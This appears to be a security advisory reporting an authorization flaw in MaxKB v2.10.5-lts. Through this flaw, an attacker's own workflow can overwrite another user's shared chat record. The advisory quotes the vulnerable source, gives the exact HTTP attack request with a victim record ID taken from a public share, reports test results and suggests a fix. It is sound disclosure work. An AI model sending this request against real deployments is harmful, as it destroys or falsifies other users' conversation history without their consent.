Summary

MaxKB's workflow chat endpoint accepts an optional attacker-controlled chat_record_id.
It first searches the current chat, but if no record is found and the value is a valid UUID,
it performs a second lookup by record ID alone.

The returned record is passed to the workflow post-handler, which replaces its question,
answer, execution details, and other fields. Persistence uses update_or_create(id=...)
without changing the existing chat_id.

As a result, an attacker can use their own published workflow application to overwrite a
record owned by another user. The PoC obtains the target UUID from a legitimate public chat
share; it does not guess or brute-force a UUID. The attack request itself uses the normal
anonymous chat API and does not use the victim's token or chat ID.

Tested product and version

• Product: MaxKB
• Release: v2.10.5-lts
• Release commit: 01b21db88145278d98bf5e9bd55e6abd6b3aad43
• Official image: 1panel/maxkb:v2.10.5-lts
• Image digest:
  sha256:23920f160a799844ecf78947a31efcc20f9e796a544ea16d0efb3ee684cb6b76
• Current v2 source also checked at:
  5f9a89f128f69c45b7d6d32cfce2481308b3dfec

Only the tested release and checked current source are claimed. Please determine the full
affected-version range.

Preconditions

1. The victim has intentionally created a public share containing a chat record. The public
   response includes the record ID.
2. The attacker has an ordinary MaxKB account and can publish a workflow application, or can
   otherwise use a published workflow application they control.
3. No victim credential, victim chat ID, administrator role, LLM, tool, or MCP server is
   required.

Root cause

The public share serializer includes ChatRecord.id, and the public detail endpoint has no
authentication:

class ShareChatRecordModelSerializer(serializers.ModelSerializer):
    class Meta:
        model = ChatRecord
        fields = ['id', 'problem_text', 'answer_text', 'answer_text_list',
                  'create_time', 'execution_details']

class ChatRecordDetailView(APIView):
    def get(self, request, link: str):
        return result.success(
            ChatShareLinkDetailSerializer(data={'link': link}).get_record_list()
        )

The workflow request accepts a record UUID. If it is not in the current chat, a syntactically
valid UUID bypasses the error and reaches a global query:

@staticmethod
def get_chat_record(chat_info, chat_record_id):
    if chat_info is not None:
        # current-chat checks omitted
        chat_record = QuerySet(ChatRecord).filter(
            id=chat_record_id, chat_id=chat_info.chat_id
        ).first()
        if chat_record is None:
            if not is_valid_uuid(chat_record_id):
                raise ChatException(500, _("Conversation record does not exist"))
    chat_record = QuerySet(ChatRecord).filter(id=chat_record_id).first()
    return chat_record

The returned object is passed into WorkflowManage. WorkFlowPostHandler then changes the
existing object:

if workflow.chat_record is not None:
    chat_record = workflow.chat_record
    chat_record.problem_text = question
    chat_record.answer_text = answer_text
    chat_record.details = details
    # other fields omitted

Finally, persistence is keyed only by the record ID. chat_id is present in
create_defaults, but not in update defaults, so an existing victim record remains in the
victim chat while its content is replaced:

QuerySet(ChatRecord).update_or_create(
    id=chat_record.id,
    create_defaults={"chat_id": chat_record.chat_id, ...},
    defaults={"problem_text": chat_record.problem_text,
              "answer_text": chat_record.answer_text, ...},
)

Source links:

• MaxKB/apps/application/serializers/application_chat_link.py

  Lines 20 to 26 in 01b21db

  	class ShareChatRecordModelSerializer(serializers.ModelSerializer):
  	execution_details = serializers.SerializerMethodField()
  	class Meta:
  	model = ChatRecord
  	fields = ['id', 'problem_text', 'answer_text', 'answer_text_list',
  	'create_time', 'execution_details']

• MaxKB/apps/application/views/application_chat_link.py

  Lines 41 to 55 in 01b21db

  	class ChatRecordDetailView(APIView):
  	@extend_schema(
  	methods=['GET'],
  	description=_("Get chat record by share link"),
  	summary=_("Get chat record by share link"),
  	operation_id=_("Get chat record by share link"), # type: ignore
  	parameters=ChatRecordDetailShareAPI.get_parameters(),
  	responses=ChatRecordDetailShareAPI.get_response(),
  	tags=[_("Chat record link")] # type: ignore
  	)
  	def get(self, request, link: str):
  	return result.success(
  	ChatShareLinkDetailSerializer(data={'link':link}).get_record_list()
  	)

• MaxKB/apps/chat/serializers/chat.py

  Lines 378 to 439 in 01b21db

  	@staticmethod
  	def get_chat_record(chat_info, chat_record_id):
  	if chat_info is not None:
  	chat_record_list = [chat_record for chat_record in chat_info.chat_record_list if
  	str(chat_record.id) == str(chat_record_id)]
  	if chat_record_list is not None and len(chat_record_list):
  	return chat_record_list[-1]
  	chat_record = QuerySet(ChatRecord).filter(id=chat_record_id, chat_id=chat_info.chat_id).first()
  	if chat_record is None:
  	if not is_valid_uuid(chat_record_id):
  	raise ChatException(500, _("Conversation record does not exist"))
  	chat_record = QuerySet(ChatRecord).filter(id=chat_record_id).first()
  	return chat_record
  	def chat_work_flow(self, chat_info: ChatInfo, instance: dict, base_to_response):
  	message = instance.get('message')
  	re_chat = instance.get('re_chat')
  	stream = instance.get('stream')
  	chat_user_id = self.data.get("chat_user_id")
  	chat_user_type = self.data.get('chat_user_type')
  	ip_address = self.data.get('ip_address')
  	source = self.data.get('source')
  	form_data = instance.get('form_data')
  	image_list = instance.get('image_list')
  	video_list = instance.get('video_list')
  	document_list = instance.get('document_list')
  	audio_list = instance.get('audio_list')
  	other_list = instance.get('other_list')
  	workspace_id = chat_info.application.workspace_id
  	chat_record_id = instance.get('chat_record_id')
  	debug = self.data.get('debug', False)
  	chat_record = None
  	history_chat_record = chat_info.chat_record_list
  	if chat_record_id is not None:
  	chat_record = self.get_chat_record(chat_info, chat_record_id)
  	if chat_record:
  	history_chat_record = [r for r in chat_info.chat_record_list if str(r.id) != chat_record_id]
  	work_flow = chat_info.application.work_flow
  	work_flow_manage = WorkflowManage(Workflow.new_instance(work_flow),
  	{'history_chat_record': history_chat_record, 'question': message,
  	'chat_id': chat_info.chat_id, 'chat_record_id': str(
  	uuid.uuid7()) if chat_record_id is None else str(chat_record_id),
  	'stream': stream,
  	're_chat': re_chat,
  	'chat_user_id': chat_user_id,
  	'chat_user_type': chat_user_type,
  	'ip_address': ip_address,
  	'source': source,
  	'workspace_id': workspace_id,
  	'debug': debug,
  	'chat_user': chat_info.get_chat_user(),
  	'chat_user_group': chat_info.get_chat_user_group(),
  	'application_id': str(chat_info.application_id)},
  	WorkFlowPostHandler(chat_info),
  	base_to_response, form_data, image_list, document_list, audio_list,
  	video_list,
  	other_list,
  	instance.get('runtime_node_id'),
  	instance.get('node_data'), chat_record, instance.get('child_node'))
  	chat_info.set_chat(message)
  	r = work_flow_manage.run()
  	return r

• MaxKB/apps/application/flow/i_step_node.py

  Lines 49 to 92 in 01b21db

  	class WorkFlowPostHandler:
  	def __init__(self, chat_info):
  	self.chat_info = chat_info
  	def handler(self, workflow):
  	workflow_body = workflow.get_body()
  	question = workflow_body.get('question')
  	chat_record_id = workflow_body.get('chat_record_id')
  	chat_id = workflow_body.get('chat_id')
  	details = workflow.get_runtime_details()
  	message_tokens = sum([row.get('message_tokens') for row in details.values() if
  	'message_tokens' in row and row.get('message_tokens') is not None])
  	answer_tokens = sum([row.get('answer_tokens') for row in details.values() if
  	'answer_tokens' in row and row.get('answer_tokens') is not None])
  	answer_text_list = workflow.get_answer_text_list()
  	answer_text = '\n\n'.join(
  	'\n\n'.join([a.get('content') for a in answer]) for answer in
  	answer_text_list)
  	if workflow.chat_record is not None:
  	chat_record = workflow.chat_record
  	chat_record.problem_text = question
  	chat_record.answer_text = answer_text
  	chat_record.details = details
  	chat_record.message_tokens = message_tokens
  	chat_record.answer_tokens = answer_tokens
  	chat_record.answer_text_list = answer_text_list
  	chat_record.run_time = time.time() - workflow.context['start_time']
  	else:
  	chat_record = ChatRecord(id=chat_record_id,
  	chat_id=chat_id,
  	problem_text=question,
  	answer_text=answer_text,
  	details=details,
  	message_tokens=message_tokens,
  	answer_tokens=answer_tokens,
  	answer_text_list=answer_text_list,
  	run_time=time.time() - workflow.context.get('start_time') if workflow.context.get(
  	'start_time') is not None else 0,
  	index=0,
  	ip_address=self.chat_info.ip_address,
  	source=self.chat_info.source)
  	self.chat_info.append_chat_record(chat_record)
  	self.chat_info.set_cache()

• MaxKB/apps/application/serializers/common.py

  Lines 359 to 422 in 01b21db

  	def append_chat_record(self, chat_record: ChatRecord):
  	chat_record.problem_text = chat_record.problem_text[0:10240] if chat_record.problem_text is not None else ""
  	chat_record.answer_text = chat_record.answer_text[0:40960] if chat_record.answer_text is not None else ""
  	is_save = True
  	# 存入缓存中
  	for index in range(len(self.chat_record_list)):
  	record = self.chat_record_list[index]
  	if record.id == chat_record.id:
  	self.chat_record_list[index] = chat_record
  	is_save = False
  	break
  	if is_save:
  	self.chat_record_list.append(chat_record)
  	if not self.debug:
  	if not QuerySet(Chat).filter(id=self.chat_id).exists():
  	Chat(
  	id=self.chat_id,
  	application_id=self.application_id,
  	abstract=chat_record.problem_text[0:1024],
  	chat_user_id=self.chat_user_id,
  	chat_user_type=self.chat_user_type,
  	ip_address=self.ip_address,
  	source=self.source,
  	asker=self.get_chat_user(),
  	).save()
  	else:
  	QuerySet(Chat).filter(id=self.chat_id).update(update_time=timezone.now())
  	# 插入会话记录
  	QuerySet(ChatRecord).update_or_create(
  	id=chat_record.id,
  	create_defaults={
  	"id": chat_record.id,
  	"chat_id": chat_record.chat_id,
  	"vote_status": chat_record.vote_status,
  	"problem_text": chat_record.problem_text,
  	"answer_text": chat_record.answer_text,
  	"answer_text_list": chat_record.answer_text_list,
  	"message_tokens": chat_record.message_tokens,
  	"answer_tokens": chat_record.answer_tokens,
  	"const": chat_record.const,
  	"details": chat_record.details,
  	"improve_paragraph_id_list": chat_record.improve_paragraph_id_list,
  	"run_time": chat_record.run_time,
  	"source": chat_record.source,
  	"ip_address": chat_record.ip_address or "",
  	"index": chat_record.index,
  	},
  	defaults={
  	"vote_status": chat_record.vote_status,
  	"problem_text": chat_record.problem_text,
  	"answer_text": chat_record.answer_text,
  	"answer_text_list": chat_record.answer_text_list,
  	"message_tokens": chat_record.message_tokens,
  	"answer_tokens": chat_record.answer_tokens,
  	"const": chat_record.const,
  	"details": chat_record.details,
  	"improve_paragraph_id_list": chat_record.improve_paragraph_id_list,
  	"run_time": chat_record.run_time,
  	"index": chat_record.index,
  	"source": chat_record.source,
  	"ip_address": chat_record.ip_address or "",
  	},
  	)
  	ChatCountSerializer(data={"chat_id": self.chat_id}).update_chat()

Proof of concept

maxkb-chat-record-overwrite-poc-v1.zip

Please attach and extract:
maxkb-chat-record-overwrite-poc-v1.zip

Run the official-image test from the extracted directory:

SERVER=maxkb-h32-run1 NETWORK=maxkb-h32-net1 ./run_e2e.sh

The test uses the administrator API only to create two local test accounts. Both resulting
profiles contain only the ordinary USER role. Each user then creates and publishes their
own workflow through the normal application API. Victim chat creation, record creation,
public sharing, attacker chat creation, controls, and exploitation all use normal HTTP APIs
on an isolated Docker network with no published host port.

The relevant attack request is:

POST /chat/api/chat_message/<attacker-own-chat-id>
Authorization: Bearer <attacker-application-anonymous-chat-token>
Content-Type: application/json

{
  "message": "ATTACKER_OVERWRITE_MARKER",
  "stream": false,
  "re_chat": true,
  "chat_record_id": "<victim-record-id-from-public-share>"
}

The attacker workflow is a deterministic start-to-reply flow. It does not call an LLM and
returns ATTACKER_CONTROLLED_ANSWER.

Results

Before the attack, both the public share response and a direct database check contained:

VICTIM_QUESTION_UNCHANGED
VICTIM_ANSWER_UNCHANGED

After one request, both contained:

ATTACKER_OVERWRITE_MARKER
ATTACKER_CONTROLLED_ANSWER

The database check also confirmed that the overwritten record still had the victim's
original chat_id.

Impact

Confirmed: an attacker who controls an ordinary workflow application can persistently
replace the question and answer of a record owned by another user. The modification is
visible through the victim's existing public share and remains attached to the victim chat.

Inferred: the attacker can repeat this for other record IDs disclosed through public share
links, defacing or destroying published conversation history.

Not claimed: private-record disclosure, UUID brute force, simple-application use as the
attack carrier, remote code execution, or service-wide denial of service.

Suggested fix

• Remove the global ChatRecord.objects.filter(id=chat_record_id) fallback.
• Require every supplied record ID to belong to the current, already-authorized chat.
• Keep the recent application and chat-user ownership checks for the chat ID.
• Return a bounded 4xx response when the record is absent from the current chat.
• Add regression tests with two users, two chats, and a valid foreign record UUID.